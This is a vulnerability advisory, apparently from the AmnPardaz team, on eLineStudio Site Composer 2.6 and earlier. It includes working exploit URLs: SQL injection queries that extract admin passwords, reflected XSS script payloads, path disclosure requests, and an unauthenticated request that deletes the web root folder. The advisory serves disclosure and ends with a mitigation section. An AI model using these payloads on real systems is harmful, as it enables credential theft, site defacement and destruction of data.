########################## www.BugReport.ir #######################################
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#    AmnPardaz Security Research Team
#
# Title: eLineStudio Site Composer (ESC) <=2.6 Multiple Vulnerabilities
# Vendor: www.elinestudio.com
# Vulnerable Version: 2.6 and prior versions
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: www.bugreport.ir/?/45
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1. Description:
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  eLineStudio Site Composer is a 100% browser-based database-driven content management system that helps companies to better manage, update & share web content. eLineStudio Site Composer provides affordable & flexible licensing for end users & web developers.
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2. Vulnerabilities:
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  2.1. Injection Flaws, Cross Site Scripting (XSS). SQL Injection in "/ansFAQ.asp" in "id" parameter. Reflected XSS attack in "/ansFAQ.asp" in "topic" and "button" parameters.
    2.1.1. Exploit:
            Check the exploit/POC section.
  2.2. Injection Flaws. SQL Injection in "preview.asp" in "template_id" parameter.
    2.2.1. Exploit:
            Check the exploit/POC section.
  2.3. Information Leakage. Database path disclosure in "/cms/include/trigger.asp" and/or "/cms/include/common2.asp".
    2.3.1. Exploit:
            Check the exploit/POC section.
  2.4. Failure to Restrict URL Access. Attacker can delete any folder on the server by "/cms/assetmanager/folderdel_.asp".
    2.4.1. Exploit:
            Check the exploit/POC section.
  2.5. Failure to Restrict URL Access. Attacker can create folder on the server by "/cms/assetmanager/foldernew.asp".
    2.5.1. Exploit:
            Check the exploit/POC section.
  2.6. Cross Site Scripting (XSS). Reflected XSS attack in "login.asp" in "id" and "txtEmail" parameters.
    2.6.1. Exploit:
            Check the exploit/POC section.
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3. Exploits/POCs:
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  Original Exploit URL: http://bugreport.ir/index.php?/45/exploit
  3.1. SQL Injection in "/ansFAQ.asp" in "id" parameter. Reflected XSS attack in "/ansFAQ.asp" in "topic" and "button" parameters.
    -------------
    Find Admin's password:
      http://[URL]/ansFAQ.asp?id=-2 union select email,password from [user] where email like '%25admin%25'
    XSS attacks:
      http://[URL]/ansFAQ.asp?id=1&topic=</title><script>alert('sdl BugReport.IR XSS')</script>
      http://[URL]/ansFAQ.asp?id=1&button="><script>alert('sdl BugReport.IR XSS')</script>
    -------------
  3.2. SQL Injection in "preview.asp" in "template_id" parameter.
    -------------
    Find Admin's password:
      http://[URL]/preview.asp?template_id=-1 union select 1,'[%25menu%25]' as date_created,email%2b'<br>'%2bpassword,user.*,user.*,1,2,3,4,5 from [user] where email like '%25admin%25'
    -------------
  3.3. Database path disclosure in "/cms/include/trigger.asp" and/or "/cms/include/common2.asp".
    -------------
    http://[URL]/cms/include/trigger.asp
    http://[URL]/cms/include/common2.asp?id=1
    -------------
  3.4. Attacker can delete any folder on the server by "/cms/assetmanager/folderdel_.asp".
    -------------
    http://[URL]/cms/assetmanager/folderdel_.asp?inpCurrFolder=C:\InetPub\wwwroot\
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  3.5. Attacker can create folder on the server by "/cms/assetmanager/foldernew.asp".
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    http://[URL]/cms/assetmanager/foldernew.asp?inpCurrFolder=c:\inetpub\wwwroot\&inpNewFolderName=test2008
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  3.6. Reflected XSS attack in "login.asp" in "id" and "txtEmail" parameters.
    -------------
    http://[URL]/login.asp?id=1"><script>alert('sdl BugReport.ir XSS')</script>
    http://[URL]/login.asp?txtEmail=1"><script>alert('sdl BugReport.ir XSS')</script>
    -------------
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4. Solution:
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  Edit the source code to ensure that inputs are properly sanitized (for 2.1, 2.2, 2.6). Rename the mentioned files in section 2.3, 2.4, 2.5, and wait for vendor patch.
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5. Credit:
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AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
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